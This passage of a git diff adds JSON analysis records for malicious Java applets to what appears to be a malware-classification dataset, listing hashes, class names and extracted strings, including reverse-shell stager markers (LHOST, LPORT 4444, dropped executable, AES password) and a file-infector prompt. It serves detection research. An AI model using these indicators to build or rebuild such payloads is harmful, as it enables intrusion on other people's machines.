"HJBH", "init", ""], "minor_version": 0, "const_pool_count": 313}}, "_id": "0dd568d6-8a84-49ab-ae2b-b6a5518e5508", "verbose": {"java": {"constant strings": ["CvV$sbC#&cY", ".F6F/FMC/&5FY$/bF5Dr$yva$r", ".F6F/FMC/&5FY$/OFCFG,99$#", ".F6F/FMC/&5FY$/OFCFG,99$#G3C$", ".F6F/FMC/&5FY$/SFoC$#", "java.awt.AlphaComposite", ".F6F/FMC/&5FY$/Kvrv#yva$r", "[B", ".F6F/FMC/&5FY$/y,rC&Q&s$rQF0*$abF5Dr$yva$r", ".F6F/!$Fco/bCFC$5$cC", ".F6F/o$0,#&C3/Q$#5&oo&vco", ".F6F/o$0,#&C3/Q#vC$0C&vcOv5F&c", ".F6F/o$0,#&C3/Kva$bv,#0$", ".F6F/c$C/dSZ", "o$Cb$0,#&C3yFcFY$#", "huN6n10 ZFnFxV94RTEZCl2e12hWWUT9gEl1hOBG4OhLLyy55Q 4dNuhhdAHARtsoBkNSL6wmgP0mPHnamCgOGx4fVxgL9WNqBE2T3TZ2rtdCAnDROg GsDicEW5bnIxVxY0m0wDHDxByKKsqDAL99Fyxr596Q oX18DU1XApTXYr ufzvFmYtbPafwxpIR7BmPvW4X8laCtOj15b4JAYJg99M76vWvFvU5RaULSI1u8HM0UmGwjmtxCEKCDNtpIEmU7HEln0EwZExau2pOYiJ0GAFYmu1YovGL5i8PqMNEly4OiXNXdPszZgzYu1kirSQbQ2JTQCDtZTAluk2mwB tA0WMmXiSBgmjPUwhtTPnWWXWR7ZUvl3BIxUjz0DAsjF83b5ZaytmSQ4ssB U6ZMO9xd5IKORw0ulrdwnkCenN6eUDxLv1LbrjXgzgSU6QQi0yGH1WOhPTGbl0HeEP IWAcPjREahhZpaIa4pJjBaY1SKJnDaaZb95 2BnKNBs4tTEGRuOp edZtvzsEN0iPTH1iyUGMma2l7J1rZcQLalF1Fy2Q1r0d3jOVluX966hLZIIZSaVoU9psShLA4nbmrlJJ2A 7bO1nxTJHTyLWKUy9XfLjSpjhXTrLojZGIrarjB933 0c1c1AA23nADdhhTWbrz5LYtsbWcCVcMjyWI3BkUDEycJsTo0o3KNCJ1cE s2HGG p0B x9jCdtYRbZ2QjkKhRNsHpghgffES M0pJcv7SHinN94nJnqbgpXJ 5jFFpaJy0TEludFVx7XKNJiubv7dwFnJjEm7Olv1Tj665vdzCpmdFS4tYsPVgW35j8vuW7Krqcfbxq2TGaNZAOSXK2NLsg6S3PFlBe2eOljliIM0kdsICFMG4XqkqrGy75B6R3EQ h83vyYCLlJobKG0QaEwb0 qhJ1k0u9kb5GCceJQuhY6YcIeKkIx9zszwzIFp0gT HEWpqUHUZld8Etbea0Hwo4xlFSThuKxc4naDQQ1 q79cRqQBbbZq1nFQbfRBHHNmgv75qg3oImTyZcj7Ihd68EwQ xQTitN22Q7RH3kkRCtZXpwIeWnf8XOTJVEOTCvsEvHaEeHIyXRCMxJHdCJmDDNy4NtWIxQaOvjeJWr9gQlM2TFBBIIlihNWLHMdQc6RZKlgIB6oWw iZ3h3KEZ7087q2jmEpua7574hOiketo1sV2yIWB5onVKk0KcVeHpJx00Dmqc8B1sLJGeeK7JpBywdlXPNy BhiW2xOUl0jMVrP8x1Gz0 BODyeKWzm5o2Rpxd2Rsyib", "Faa", ".F6F/o$0,#&C3/Q$#5&oo&vc", ".F6F/o$0,#&C3/0$#C/K$#C&9&0FC$", "9&r$N===", " Z.F6F/o$0,#&C3/0$#C/K$#C&9&0FC$<", ".F6F/o$0,#&C3/Q$#5&oo&vcKvrr$0C&vc", ".F6F/o$0,#&C3/]00$ooKvcC#vrKvcC$sC", " Z.F6F/o$0,#&C3/Q#vC$0C&vcOv5F&c<", "Y$ClF#Y$C", "4qZzzvfqIHorARFAYubjGkzNwkDkuDWGDamt9jA9zWrLDgT2aKTZscvHf77aXjQ4gnTmeGxpS0 HzxHf MQp6fDio20OzCLiJz2BHiG6xIqvRAveGK98r0RtHRx58LgV9KomLCDdkYDui1fyF15JUXMco0rJ5Y0OVaa94nG P6qS839wh7IBRI7McUcRtphVq5kjvi4x0wegNTy6itRoVbXXVRFGQxtdG5zHYsPxKoR0IqhTHG4d6S583p3JYyEEqKFFaXiqanckQ5pC5ryYp0RJ2rvMWl4RjyoavLQSif4n8iA6AVEMUk1qPv57c1MVuUjnAYsbC OJqcZiay6M22720Vh5 LDRr9PEORIrncUijccfOr0HpVhTTZCvWp8mkQdY9ACoPx6YKbu3Zq3TZvRuVyQwgWlod6YbVdrUDhkfgqG9y97Eogh7sHFbnW6v8xCLpl756SAUWTXXO7QWCr4HmnVi82R 0R6BC2Qk0TZhwNFI LAqrCxkGjxUAk D374Wc4F2jdKx49sUgmyNtZhUkpe8EjARpKVR5mVzRS887K9qW0pRJRXRe5aNs60Hqens5XOAccvRjCctVh487t0gXfSkuHZrXpnkNaSOsUdKWJg8AAZ5YZG3KNlSbVNtUXqa2stvz6j3leUSUvRquAfrm3955LelnEtGOy6x99 qVuS9oTcA9zJ8D w qlVwa0u4rIPJ9adKq1qT29xh9ingeC6Fv9UZseTsNhKK 955PvXP2xVlyhxvub 7tlzLaqkrZ4c6a9FKHmJjM15hZ0uSCPe6DcvewIY7rIyl kqHs35yHiq9Vn9Gr4gz84qwxGneyimQJOXJH4WMogae7owyMGhuEA6IIu9wgJBwsFcZsw29FVpnonAPYReV39HOLso6nhQ6qGXqzcgtt0L6pE4RB8IU4p XTAsrHsJ2cFyc1zlUs 4Up4Q1egkGZtQ7hCXeuc73MDxVebHzTbq8ETBPzTMydj56O8ngmvRNZ9QjVPppTs5zRAvw02od65p6RLNeRgpZ1er2pnkRwwqMQYrdSTMi4VzGWWqQ7l3gnQFgXqRw3m33gR3KUUYjbZFvfP27z9y0rNKyYz48L67xAsi2uBvHbk9v5LcHBPgcTL2dGEWdfaqDSDrE8LpNAFyzHfBn0bcakEE18nOUQjbQzD9aEVI8SHzJME581VB1hz81H31RzejFlzkK0B5T2S1ryiqhzGGYyMoJGhkU2uYF0qx3K1YWwIOrsmbIoHUCmQXwIXQK7P9yzOjTRw7dHzdCWhUW8cfidriiqWqRSyE7AZV99EYvQnm6mIxlTj2cfSDVZwiQN7MyQ9vdGSv6cp6suSJCyWdRdrjbVh4VguwBFEzmRkPMn1wJogg feGBoLKHZzdHhThhHONVVNlslE1xYvthc3C7OCSnE5uuNFQrmc6Jcgb1Nudm3ouLzbYb2zwQRNqDcquxMmCsJwKHGZbB2xLKMNjYWJTvvtMOq16u7K8q4o5Lb1", "o$CTr$5", "lwQTzGwlT", "0#$FC$1#&CF!r$SFoC$#", "0#$FC$KvcC$sC", ".F6F/FMC/S$ca$#&cYV&cCo", "b#0", "0v5Dvo$", ".F6F/FMC/&5FY$/1#&CF!r$SFoC$#", "mpositeContext", "java.awt.Co", "ffawbwDWpY7uzm2xs2OJQWGG aOmYG7Ekh0tdGncC8hKVlbrrrig3Ig9ESYYiTcT07DC0qS2RsbSVHUSbLgV9GjZPDd4wfA8baMvM0NPK5Oxx UuKBQsW0DrmM3VAc0ImN0K4wN8 dMdc4dKy5LICowammcAt oqoncsjWV5WG5sRPZZxIYZhg6w05DtO7ypRwt4HNcGKot6 ZR3Mnd3fS777vagjckkCk4ohxHJBn7jz8inI0gts6mzjwIvQdmgwLE74f3BsJ1JuVT7W6VyKrTCiVDMveVtUW7aqJfNB0Nor2vuE EbeudEF8zpphnVlVNpVZ2E24BENk5oLXyqlvetChsnoancw1qP0rnTaNXXR8hAfIsnj2r2bTqQRS2UxUKhbIn56xqiYOeYhjMOyzrUDstqSSi8FnEOjAFGP6H73eEIL5gFchzJbiZZBrSvnk6prNb5HzX5gq3T JcsBnCEBksGL92tGLP5dHKXVLeqYAm1dVW6Uc6HmJGltcShdzxW5n9xVCKc6nfyq3ZdiS3qBM1BGDTLpxxqfdKaDxHuNYnRHIFDwvzmAejbwK1siIrn ycH4m3BtFuB7iBbed6xf Fc1D6KRnBg8 rqFDkj0xMvGk5zkCis9wgQCPw qDcs1qIzR3UhtcMcPMvndOsiFxh30VLaCvSXWH4LQCiZRzQEUlhWfadRyM0kj GTGcAm6rbtEQseEg9Z5AvwkPyKVzpstJeKSLOtXxuLRbP3gd3La4nTFjnev3dnXnVWPswsLyPDkhyeFf2j2VNwAqDaj1n7otOqe5EHfgYkirldpLepkx OXs Uq2U8SVrEfo1H2mPEtkNxFCyhc1lN3T4IlBgfdMOs725u1cZh50gGD3SPRczJwpxIyQ 3oSWLCpUZJQKdtmx3HVDUQY6 BjnzfJq02u9GhE615U09aRQpI7aYEzCKv6vKhPQBGp5ygop ElE 8Iw3uCe0yNFuzcvGff8BKi1VsmxZYgWCNXqeQVQxbml2ulaGRAl9dpY28FxuPFn7s HOyZ19X3HZ2sJTn095T3d o2jAJ9zN6b7gmx3abq7ugXjK5XkYkzraEgcl9Yp9W2HRPCzxNdyzxbAiEcCaC0R8bdNLAyq4ZZ6b4uXiwBqQQjp3VOtNzRm4VxeQHHNJ2NE0 hnNmRGM3OfW0dluiRp5cOf5qs3ER2Zy4 4j PhCIlhV0Qst7ST0T9JQQBuAcDYWtaj4voaK6ZWXgv5T USsUTUZdjEy4t cCwUMdCoyP02qnVz0mGhvEDWT6AEQqDzUM5c830OOpbB3P7EzMblk4r8Hkp7 kBZCbAg6eiRFhYXyWc20w5gfeGFqXEQcbD8 4bPNmJEGvlN3ezfXKjx1NccR 9iRr Cz8irxYhh0vDdTd2qljLkfJU7y2bGwQR2c0Ek7O86enTk0UuZOLhWptGV1kVCxmZdbHeBMgwr8l6qNjetOY0kyeinQa9puJnhjcvUicMxyrWIFoxUpyXt7FyBGJ7D6w5BpVXMpSQ5jo9LwlIkp7HiDrXoaFW1DtCfuGiGkpHR0MP4PKEto3km0WpTraUVHsNTQzn6kQhkXafWN21axOlGO5fkQyd2WMoTwg8xSynDTcdPUfEbsjatW5DCLG7OpFfqrjrXDF6CibdXj BocqvEaD 2KgivBcICfMLFhfidIsqs7JzPrfJIqj1i84OMbuj17fW5ml10yNplYG9TMBmAnEmFrMmE5BD5sfdDfD98pOJNEjQbhnY9RlrL5eBXvrLVPeEYEyEAESFPnu3wCdKqi1AwV1mOKL0r2tQmgccowX62 IhQBWTxIsX5WtvGDKXK9QK7O9FMVUI2S5SHQpm", "zh9y G56wLIJN3VbOyOGNdmmf3K2b50N RqQqcoGISIMFaNtxLuIbReXwuPSRitPF Mfn731ngUhYLDcxY46nsm7Fmj9WVMiylr1iQ6BIAvBZRl0c6MIS8UCqXfNsCRA1mg4HrFJPf20v5h59CxlrNQciAyggOq08E8pnqTmc2X6LXWJwzGYnqNaxHfM0s8fWnKD7yQcjpaiZ1eMCYImeZUiH2DobErmXCled qXdVuBZ3jnaf1 cyf4v66mpoBGOvSz10y37QVW5hHyASmEFCDPY9G2bjUQO21hQ4Qr5QQP0oYCnUYYG qygKOAaKOHFMNKpSDnzUtBIParU5mJWOh4AHpnPnx2k2MApW5VboX3cWb2Ddq7IUsD728oz2AUYsu7FPqpnr2SD Z8wmktrd4fiNk56glFOcypj2U0ozs93Z95i4wU QPiqe5BDj1bNnWKbs1Bf9WgfkbQKMRxytogNLQjht94eIoT7Nftqgf hAO32VKR4r x8LiWyedtD3oyeAheDomK7ocdMwEGiV0IoEzFCH 98i5WevxnEvyXvOu3ejI d 5UTtPN9INdj0dHH93EMI5aLsVFJzLopN88uGY 95DVRaNVjRVSjBu6qBf9fG0lvDeaYdi8ZbPjWMRSS4Wi5uxoYHF2uR Kit2cXneWPq94Bs6b3IVUxM4a MXrMeO1wRIdwjaQ1s401cY5qnJB9qX9jNMN2gWuFydkNQKbAeUzUiWCPNP6IpaL1jRjAOFfZoWipzmyer1U3WReenWXzLitkN38WZzPX WMeyZDV2xRwWMOe IUhOfjb2hrLxi9KsD0vy4i9pfapU1FR7U6RfTIxYUi4T70gYHtyVSUCtW3GwqXFk8dLUid xFLorvw p12 4Qg VTueiqvrL6wY6As40F7iJgDdwqi2Qa dooGGx2jDrvZV3c4aJ2ztgUF0XRgTPaJOA5BgCaFQuviHxq1rQR12cAHslkpRUEFQpIDPr8RoxG4JX6dHw9b89gTOXOMc526Chbwio8uLnkyLjRQ5n1XURmrGAREYjhZKaiwlKkxL N3YBs wjBm1zohk7CbwvM1MV8uzGr Hlci229s5i4oZau2q3Wf0fYDvKA5gREv2MVGOl99IkbDrBNKZD6o7nj0ygikwF8R8KH3raYUeo7LLRJoW27uGBx SzbKeguuaE0lEkdFyArNWtUUYiGszRtC0xtO1MFrjpLUVMCQurNdM0UswZxU1fuhc9t623IwGDNKRL6z0Oj19T6gU SZKac3mmnjP 8ioLdmWaZLsq7kLXsvExv0EvX6H4GomuXxPd80 VM7S2fYzWAD44yAdxz8RIX3vE02bvUC7hVzR1kl4G InJ9IVMNwKmXjQJWTNeNF5xr0js3sFwBpXh5zqJa 4QSWdDn6jNxCoQUc4mJM2jYT6iJkesgtO8NEemJyDLc80Bh4i7JdlvF0jLCpDVraesNxnnl2vW sVrtfUziKKA0bL531jye6gfcU OJXYix9Wc6aw8Xso2NEbAPb4RL6H0w2VlFDs6XX3QHCjhq0Rh36VI2xjmkekrVvPvcJIjR BTVzSiRZw u0 JRpQA2 ibp1a3H2ul EzvgSbO7NvKk1pJPML3zJD2znViD9SLR6ps7Of3p9gfbSAx 99xUb V7FIjy5uGvJXatMhuUPCxSlm26PoAAqgK3fqqOuvYnIWvsQ1cjwNI7lyEipF0M6A1Qk07mxwOwsB7g84V1lVRHYlMqAbKGgJvs4y6wHANAHee2hmTtszI6DERxQ9ORfOCPZgfqk wmNacCfyvpoPgYvwPqBHPXNrrGlMvM8DyJ7Y69O24qskOa9mta 2a8JFAqVDCDUWqh0GoAFqKiBqU7FzHi3H3xDCFseAfJ1BYNwOHbk9HIQ9qKNL5YWvtTSr11WimBjdB1rQt zpSANgpXLrJyleeQeKAPx4NnqHY9duNnXlgQ0QTu3KaEoNnoUintJRkV5QBH mdtIiZp", "S", "$", "$0,C$", "Y$", "CKv", "a$G", "Fo$", "KytgngdqHFKVfLnxa8bwYG12ohcZ2ZnvcY7XqT9gmdkLaBW3oOHf9f1qT6zNeJTuv20UgCGS1BPcOvrn9M68wxxci439jlb4uRK0uemRYKxcJrxQ5yWAt5Iw4tJ10iTrhQRlCpdkHLuwTvZyMwdXDNEkOW1ZCQNA3lPgOQpQ9wfuWNMONZdPeSjRwB8bHO3NlEw6hpKb7BsONiWqeajDmxeGLWortRGqaaWyG5R3YauqMsXGkPFlhx7u4n9Gkw3Xz1gIoKEolXjXSbLDNZ1YpJ5O5PvLEQX3TYRTlPNOdvt8u9ZokPvN8WNAmg3n8Klf2448Qf7oqypMz8BC42s8KalTAofVV48xsB2xT6WC1RSE8nJwVRlvmIJ10B8YwESHPkI6kd6WIwv79KIwF0xQ5h4kJrgkxJBnPGmNEsOXBfhJuc2TnfrQNpu5lJlCgHnhWm5FJmC5SAny73WRdajhgfn9LURCpmaWzyQZHvhYXZQuEnmz2ks4VN2Vv2xRqMVxdQzw4hye1thz30oI7ewghov1ElpOMyUg2GL6D4qLNjkgzF4aGCYocCnqZVrvtrpZyt9cHGqB99xk9upUhbCQW9yz04gCoXr9J9Ay83UhziZJArHbHbIR8pIlNRJtQ33DjWZclxnES2R9h0ODgvX1XXejWREUYYys0sKWQv4rbF8AqnMScwb7MLxpiJN3603c68wti0pg739F4g7aaetO67Hg1sjy2rynOMW79CGJUcWAAm0SZriEgfCJogrIcusJFDusrMXZjHe1hUkTEcc0WORuYawyoJPVMNHriDgZyrFXSL6UCw3GSppzbTrYxdDNSOmCRXbsZnl6IyxGjj7HDkOmQGgAg3i2zoXbCMF2P6mXDAbsS1lR6HjqwCIVCawH7SxUHMIFPpwbfMhfZHByeWhsFLKPakqfq26UBPmYJkyK8Hl08LKb59HvVLONdEeadsV9mU9qh8uvrsjRbAoPMPig3OOXg1fk46ArslWVJvji7Qkkr62v4Sv9rYIlqZBohsh0xtH6XB7TC4GE7FSU3g7PCE16QWePT5v39jhLDcTuLINxINPllZgvWxXLeLAB6vXoU77RhYITH5OKkbjgXXPkbNT6XQDMeI62Ts1S41fLMoeXykzPAJjAyUajBMZMpqFajRlBg73kyveQjlrmsIWeaBou5WSirgJN7BB13iMQyQIZSMdoOMtsg3OCum0IBAromQgFjKGUYpYTk4EdKkK0zEHxQbXi7yqvxRUbiBjLLMGFIGATpP918ttVfL71jQkWSv0vtdm5eNAMyqy3QN57DYtVOkEXE34bnUJArpbp5yJf9jp89ZCIqvYdjlWHIO5CNXkgzYnmHwYlErPPwi51CtySAZY8sAqB5RbfdPyw9wTXeTvZIc4uTqubjsta7QPbvoxvi8UdvsNwrQcc3Z6jV5d0PTBoXHJ508VuVFZr1bd4gyGRZCRNkb7Fp1ihgfGWOXgqc4VBXoMQtj2kAJxKKBP6E23JbLE8D8pMMbKfbD5a0nf1dDPFYYOydEzc1NZWt4m7B0UDXwuuzDouA08qWvfmI8pMOWZLLJZrWpz5PFuZEkctX3sxzlgZKekIVCCpSUXgnTdbvLZxWiZ1LS51cpEUkMXX9V3nXxVSjlbJQfkBEGfwlq6XJM6ybeZM1UYx57JdpeD6ECcqXpkTM1y9udt3NHy25obFj5eAEw2nDC9Aki5wFqFT4jO3kE92uV7deUxrfD51a6WGtAD0RH0oPUsXUfLRS552sfpkmuU1zc9fbXCPRYxR1piNgGnj5lqV0uPvgnE7lIWACgnxEgeiwDSD8mjZaEYnt7DUgV0Ba3nsygCPHAo4HSt4zlz4wHsxVbAoMTKMC50WsqokzxjPAgTCshc0nw1KmHq1p6Z0WAlyJoRIHjskIb5PuCtNYrvpkxwhF2Efywm7E4a7UKQ5Y2oH0aThZlpIcw81gvH0zdknUZ5VVUGRscHsOitkaPtH1u2l3EXjvx8GPox28r3MTuxgzwEEVVI1XzR4OMIUyF6diuYMf0ePCYth9T8dKAOWVAwvY76idxkiU5snuik7DrbtFts7NQCFtmZOlCgRAEH5eLBm9Am2uTEldv1gl3CbdUwgoFVBTugLSUskYQ302V2LWVuj9bF38KMhIr317bUjQFcBuy5W6gzJA5nYbptCx1Wp64kkcAtuKie1PEK66tmLJ4vP10jPwd8rCo3b9L61d7S9kN4pK1tork4eJXJOISyIp4ct7ipv4eYKZHQ7dk7hsG88QXyBE1EnWi11RmEwPogF6jxIj88hhuEt7e0ReSuupAKmoUuOgl8pvw7fvkWdQerDArqlBFe03oNx0nIuQ1HrDFCWynv8ZvEa2SOZNrm0Bzx1YfAYINcn68bRGpNS4j0KI8OvG2TCN7J7G0WVwFit0K27GB7lJqq8vEyn5xQxI44P5udj5ucTWTDw6QJQoOE3FTGYG6RU2k0dmkQCoMUankrPU8WegfLiabAbioaUz9Bn7fz5J0RnXmjKxppTi74kqZHSKcQlMFyCfuSGYifIs32R0MiqUe2McoDqfTUyTZKmLS3JVdkEL94JZLq4pEsOJp1C2Q5egk0ZsfQONUMH3h8TRuLKVbhQdzsPeNHONQbWZAGcJl4X2FfmrjAoCJiFLeDlHIEQEMqUS35c01NVrWezGGmgc6FVAQq7qUdIoseYaGJKbHHWcoDfzK6WzIvh6mSPWEXsGPZSWKd3WudKspYJFjayln0HkqNOvfIcPTCVHAaiXMDsAc2hJRrhSul6EWZUdmu41jiUIMJZsWiQaodVpg8Szn29ylp81vVSIPexjTkpW30tf3ZCXaGWzsoO18H83H8zlv2r8ornR9SRXkC9CqyMXl76Rd8QlkgnBmY07FFCJQLIC88tgm9V8Dd4Bsb5f7JZufDyXT3gFEQqJJaxRZZjnNrUsGIOSHoKNt8nnKsfyyYytzAZ7msOcUDn0cVU43VHvyS5JWGOApSgaucpS8g0MTUq715uti7EnYqsPYDCzmaqy524WR1oR0YLypLgKT0xRVt3Np261iDNAqCP4zxX7POZ97MQVWPy2KxNn8JZEvpXmQJm8wfAqn0FL3RuGlhaFnDC2CSfUkhUygnv28Sw9Jmm9soiQgq4Kpy96m6E1clDryVlT5DLLPZcdzdBJP28KbA6kfwXH0lW9W442E0JuMB4T9HgR6EmgzDZlCv48dXPunVFfWeYnhuz15k2aR5Ew94CSqTT3kgfwGEbn5VGB6zGoLSA2ij8pNOTbB07pSPisP6XIBG2OKR1LRBEyeK5YNJoN5OKRHfdyumI3hyu7ewJ2yKeRxJOHR5nm1eS1fPaw7VlTO6ujF4FKPOg8rL6yI4k8pkoEjNN5msdXnZZC6hwLkj7juG7NoESscLx1AlDb8zhsDQvovo3ShU0SCLnKEYBjuuKDUTuMuwb0wKcSdLSKwslicnhGYp3v2gzpSQ0d3IWonTH5gTC7ig2DTcW57lOjm7iJkA8JDATsrtDI1ybtdur7NVN2TFgOSHH7xiFCxCYCXkJRw3mVns6XJCH7fuV7ru2aihRkp5cpj49ec0GN4NTQ2wrZQvnJmKe7FiIpr67dQdOMTIxpaCLPYIQgu2PLhpJJvvluO2DJREVyyTIXmqE0C80nXpqAfErmNtvQsPEPMzcolJhDDVplUrZaANMVQkRtWn9RJk9qu4bHq8Fb5KCed5KaUx06u4Iq9cKQWHVVMadKDzbjdtGS70D2a8uFsao4UvZT3rbCLqe0bMDI0wWJSNLmtyejl9pkKd1d11mjshQ5VbhUuKxMSBgjGlcmwhCk28oaPR6OXDZoU6asTJKURfnGRdhP7Wag5edSXZ4b5d4plIBeQ3YKsLn2aip1sUVEku9wnWzl7Vn8tMo81CTXHBgzHNq8obfj4unkZB0V9CW4wfDQH9nHGqhjWoSVWuW5z47BWdW1oR1deuDSTzIwuGDzFoaU4X2lrZl16pYgTKQt6Fg9TAICNLdMrppVd2kF76Oa7MO8qVybJiisjCNDkycRAIEuUt0ZARHHumAE7XqDY43GEZMB8Ng2W7N38V07jrX3Upea6cJ2PVi4x5R31XqfARZVb6wn9IMHxA8ArU8eO93QIDkTqzeUrtRqM0zP55h3LESEObCglFlMz4yCxsQArfhCzxP7ac2LWQXTgXXeW6VS92QRYAjGu88VUSUNBlTnQQqQthIAjnPqZM0hCDBgjfricIV5Nx0WZvJ6wDER5a0QLOQjITLYeixQcAkkGwhEkQUwD8NtYHzKeTUm1Y6BO38d6OsHaZBc1Rtyens9fuKdomV0KTwNKGmqBiRjsx0yusZ0saC0ZlKOfiksUBywniGO1UhOusy9yg46poWigVrj6F6nULiVjTSvErd9LDRSPhQwRrJ8UgdQojdk1HNVbbTL9RM5o4YN7siWhdK5YRjcZur6RMRXTlijc8YKvZftrYTnsEivlRCgK6bRKOHoRzAnl9L0uXqWqEgQ3tP5z4ybuciiwTFyEjrIOOLG9tKLKMrop8mfmtAHmhdL3yr89Bk114wVCaWVfWQ7Q0XXOONMAJRl9nM06lcdzPtb3ezjZqKjsZuO0tQBLT2DivNA4yQFyr6GOhnESbtzWIzHxkGzChXhs0yMkSqlYKbcVO8qL7yypkRE4qEN6m0FE8q3NEzoBp5g7K7RhtIkMCJD7FM4rhzPwasqtHQmHF0KWFuTh64h2YIKSC9kExI37wrMKLW6jTOGDF2sl2pGc04GhKRXJ12ELwQpPzupXhHTQXwHDAflY4tvQ3gDSxNdgnNEVqHVg1Vk0BvEHFVetQdTJIF2KcvxcN0XhEPAKEZYGH7xJdhpc9oPNXBgDhjdUhXHBtQfEwaA6IpBI1xM4o34XrAZZLqw6pfGv4KEQtGuzgGFXFRMjufGPWZAtnx9UjKhVlnJ7XLsLjCUfW98NAfKId4pnPT3AeNMJP0bmq1gmh8tqlTc7IpBW47iFvbmLbV", "0vcCF&co", "Y$CQ#vD$#C3", "vo/cF5$", "", "yF0", "vo/F#04", "+\\'"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8f872e2dec60684a0bbc3028e16939397172bad", "file_name": "java_malicious/616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068", "_id": "0dd568d6-8a84-49ab-ae2b-b6a5518e5508", "score": 0, "entropy": 6.551092946093283, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 20392, "ssdeep": "384:2WmSz53K2gMrNocBqoegvlojXAj8UVaXHEPLBOZnhEvu/i/IL:2WZgVUqDgvl+jBHUd+Sc", "sha256": "616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068", "md5": "34e31479b161c7a74a54a531b3ccf130", "parent_sha256": "616790d9f60437ec01c4387899407ab021e16cc530a13563a0d9324a49b44068"}} \ No newline at end of file diff --git a/java_classification/data/malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527.results b/java_classification/data/malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527.results new file mode 100755 index 0000000..ab74d1e --- /dev/null +++ b/java_classification/data/malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Unknown Source", "class_name": "gond1723/Gondattack", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init", "_$1", "paint"], "minor_version": 0, "const_pool_count": 139}}, "_id": "fe4d30b0-44c9-4ce0-ad11-1ac9f914ac94", "verbose": {"java": {"constant strings": ["cXBGX0HxoKP0X0hek", "gond1723.PayloadX", "gond1723.PayloadX$StreamConnector", "/gond1723/PayloadX.class", "/gond1723/PayloadX$StreamConnector.class", "bs", "xiaomaolv", "bn", "si", "null"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ee8e1c12e5253ed1302a8f6c02ecba1a052ca8c8", "file_name": "java_malicious/61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527", "_id": "fe4d30b0-44c9-4ce0-ad11-1ac9f914ac94", "score": 0, "entropy": 5.751768509578271, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 2235, "ssdeep": "48:O7M8zhyFl1z3IV/btUICu3fLfFeJhu030eAWmh9R1bKFsB:OjYFl5QDxdeThm7R1lB", "sha256": "61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527", "md5": "ca446e2f68b111cae17d110d367a47bb", "parent_sha256": "61a669216f8a79a3eb42a5578602d9bd1847921cf1fb9f503ec41613b426c527"}} \ No newline at end of file diff --git a/java_classification/data/malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e.results b/java_classification/data/malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e.results new file mode 100755 index 0000000..cf89abd --- /dev/null +++ b/java_classification/data/malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "WARgSFmfcW/umKnJJY", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "74a19277-596f-4c65-8398-ab0cfa66570d", "verbose": {"java": {"constant strings": ["WARgSFmfcW.umKnJJY", ".class", "/WARgSFmfcW.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "WARgSFmfcW.dat", "URL", "", "https:", "WARgSFmfcW/umKnJJYTrustManager.class", "umKnJJYTrustManager.class", "AESPassword", "WARgSFmfcW/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "WARgSFmfcW.umKnJJYTrustManager", "useFor", "java.net.URLConnection", "WARgSFmfcW.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "umKnJJY -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6fb43baf81800148d2ef9b38cf5b0b2b05b11e9f", "file_name": "java_malicious/61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e", "_id": "74a19277-596f-4c65-8398-ab0cfa66570d", "score": 0, "entropy": 6.1479178402377945, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMvDUBD+WJZThmTopxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tBDLtmT4yNvpvUrKYvCkgHzbDrDF", "sha256": "61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e", "md5": "e007ab4dd6658abaa3ec40e3924cec95", "parent_sha256": "61f8c029fa669a70512b0607676381fa2ee3aaaf3300e457dfb130d9124b2c4e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751.results b/java_classification/data/malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751.results new file mode 100755 index 0000000..b4bba14 --- /dev/null +++ b/java_classification/data/malicious/638cbcc0878b6a05bda9b3ec2d34e0400016f2559b8591b7b7044e25b3329751.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BeanHiveApplet.java", "class_name": "BeanHiveApplet", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["init", "paint", "stop", "handleEvent", ""], "minor_version": 3, "const_pool_count": 100}}, "_id": "304394c1-59e0-47a9-be9b-238a6d6bc3c7", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["Infect a file by pressing this button!"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": 